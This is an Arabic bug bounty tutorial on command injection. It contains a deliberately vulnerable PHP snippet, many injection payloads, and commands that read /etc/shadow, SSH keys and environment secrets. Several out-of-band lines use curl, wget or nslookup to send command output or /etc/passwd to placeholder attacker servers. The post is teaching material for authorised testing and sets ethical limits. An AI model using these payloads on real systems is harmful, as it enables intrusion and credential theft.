ثغرات Command Injection: من الاكتشاف إلى RCE الكامل
4 أكتوبر 2026 · بواسطة Pentevo
Command Injection هي من أخطر الثغرات في Bug Bounty. عندما تُنفّذ أمرًا على خادم الشركة، فإنك تقرع أعلى باب في أي برنامج مكافآت.
كيف تحدث Command Injection
تحدث عندما يمرّر التطبيق مدخلات المستخدم مباشرة لأمر Shell دون تنظيف:
// كود PHP خطير
$host = $_GET['host'];
$output = shell_exec("ping -c 4 " . $host);
echo $output;
المهاجم يُرسل: host=127.0.0.1; cat /etc/passwd
يُنفَّذ: ping -c 4 127.0.0.1; cat /etc/passwd
أين تظهر Command Injection
وظائف الشبكة:
- أدوات Ping / Traceroute / Whois
- DNS lookup tools
- Port scanners
- Network diagnostic tools
معالجة الملفات:
- تحويل الصور (ImageMagick، ffmpeg)
- PDF generation (wkhtmltopdf، phantomjs)
- ZIP/TAR extraction
- File conversion tools
وظائف النظام:
- Backup و restore tools
- Log viewer
- Process management
- Email sending via command line
Payloads الأساسية
فصل الأوامر
# Linux/Unix
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 || id
`id`
$(id)
# Windows
127.0.0.1 & whoami
127.0.0.1 && whoami
127.0.0.1 | whoami
Payloads مفيدة للاستغلال
# معرفة المستخدم الحالي
id
whoami
# قراءة ملفات حساسة
cat /etc/passwd
cat /etc/shadow
cat ~/.ssh/id_rsa
cat /proc/self/environ
# معلومات النظام
uname -a
hostname
ifconfig
netstat -an
# قراءة Environment Variables (مهم جدًا!)
printenv
env
cat /proc/self/environ | tr '\0' '\n'
Blind Command Injection (Out-of-Band)
في كثير من الحالات، نتيجة الأمر لا تظهر في الاستجابة. نستخدم OOB techniques:
Time-based Detection
# إذا تأخرت الاستجابة = أمر نُفّذ
127.0.0.1; sleep 10
127.0.0.1 && ping -c 10 127.0.0.1
DNS-based Detection (أفضل طريقة)
# استخدم Burp Collaborator أو interactsh
# payload يُرسل DNS request لخادمك
127.0.0.1; nslookup $(whoami).YOUR_COLLABORATOR.com
127.0.0.1 | nslookup `id`.YOUR_BURP_COLLAB_URL
127.0.0.1; curl http://YOUR_COLLAB_URL/$(whoami)
# مع interactsh (مجاني)
127.0.0.1; curl https://XXXXX.oast.pro/$(id|base64)
HTTP-based OOB
# إرسال نتيجة الأمر عبر HTTP
127.0.0.1; curl -d "$(id)" https://your-server.com/collect
127.0.0.1; wget -q -O - "https://your-server.com/$(whoami)"
# إرسال ملف حساس
127.0.0.1; curl -F "file=@/etc/passwd" https://your-server.com/upload
إعداد Interactsh للـ OOB Detection
# تثبيت interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# الحصول على URL فريد
interactsh-client
# يعطيك URL مثل: abc123.oast.pro
# استخدمه في payloads وراقب الـ DNS/HTTP interactions
تصعيد من Command Injection لـ RCE كامل
# 1. أثبت أنك على الخادم
id && hostname && uname -a
# 2. ابحث عن بيانات حساسة
cat /proc/self/environ | tr '\0' '\n' # API keys, passwords
find / -name "*.env" 2>/dev/null | head -20
find / -name "config.php" 2>/dev/null | head -10
# 3. اقرأ Source Code
cat /var/www/html/config.php
cat /app/.env
# 4. حاول Privilege Escalation (للتوثيق فقط - لا تُطبّق)
sudo -l # ما الذي يمكن تنفيذه كـ root؟
توثيق Command Injection في Bug Bounty
مستوى التوثيق المطلوب:
Proof of Concept:
1. Command executed: id
2. Payload: ?host=127.0.0.1;id
3. Response shows: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[Screenshot: Response containing uid= output]
[Burp Suite request showing the payload]
For Blind Injection:
- Burp Collaborator interaction log showing DNS/HTTP callback
- Screenshot of the interaction with timestamp
- Payload used: ?host=127.0.0.1;nslookup+$(whoami).collab-url
لا تفعل في Bug Bounty:
- لا تُنزّل ملفات على الخادم
- لا تُعدّل ملفات
- لا تستخدم الخادم كـ pivot للشبكة الداخلية
- لا تُثبّت backdoor
- اكتفِ بإثبات الوجود وقراءة ملفات عامة (كـ /etc/passwd)
الخلاصة
Command Injection هي Holy Grail في Bug Bounty — تقرير واحد قد يُغيّر وضعك المالي. ابحث في وظائف الشبكة ومعالجة الملفات، جرّب OOB payloads للـ Blind cases، وأثبت التأثير بوضوح مع الحد الأدنى من التدخل في الخادم.
الأسئلة الشائعة
لماذا Command Injection خطيرة جدًا؟
لأنها تُعطي المهاجم تنفيذ أوامر مباشرة على خادم التطبيق. هذا يعني الوصول لقاعدة البيانات، الملفات الحساسة، المفاتيح السرية، وربما شبكة الشركة الداخلية بالكامل.
ما الفرق بين In-Band وOut-of-Band Command Injection؟
In-Band: نتيجة الأمر تظهر في استجابة HTTP. Out-of-Band: لا ترى النتيجة مباشرة لكن تُثبت التنفيذ عبر اتصال خارجي (DNS lookup، HTTP request لخادمك).
هل Command Injection تستحق مكافأة Critical؟
نعم دائمًا تقريبًا. RCE على خادم إنتاجي هي Critical في جميع برامج Bug Bounty. المكافآت تبدأ من $5,000 وتصل لمئات الآلاف.
مقالات ذات صلة
اختبار اختراق APIs: الدليل العملي لـ Bug Bounty في 2026
كيف تختبر REST APIs وGraphQL وgRPC في Bug Bounty: منهجية شاملة من Fuzzing الـ Endpoints إلى IDOR وBroken Authentication وInjection.
bug-bountyكيف تكتب Writeup Bug Bounty يجذب القراء ويعزز سمعتك
دليل كتابة Writeups احترافية لثغرات Bug Bounty: البنية الصحيحة، كيف تقدّم الثغرة بإبداع، ولماذا Writeups تُضاعف دخلك وفرص عملك.
bug-bountyشرح Bugcrowd للمبتدئين: كيف تبدأ وتختار البرنامج الصحيح
دليل شامل لمنصة Bugcrowd: التسجيل، الفرق عن HackerOne، أفضل البرامج للمبتدئين، نظام Trust وPoints، وكيف تستفيد من Crowdstream.
bug-bountyثغرات CSRF: الدليل الشامل من الفهم إلى الاستغلال والمكافأة
كل ما تحتاج معرفته عن Cross-Site Request Forgery: كيف تعمل الثغرة، كيف تكتشفها، تقنيات Bypass للحمايات، وأمثلة حقيقية من Bug Bounty.
طبّق هذا عمليًا
أكاديمية Pentevo تحوّل هذه المفاهيم إلى دروس موجّهة وفيديوهات واختبارات — مجانًا.
ابدأ التعلّم مجانًا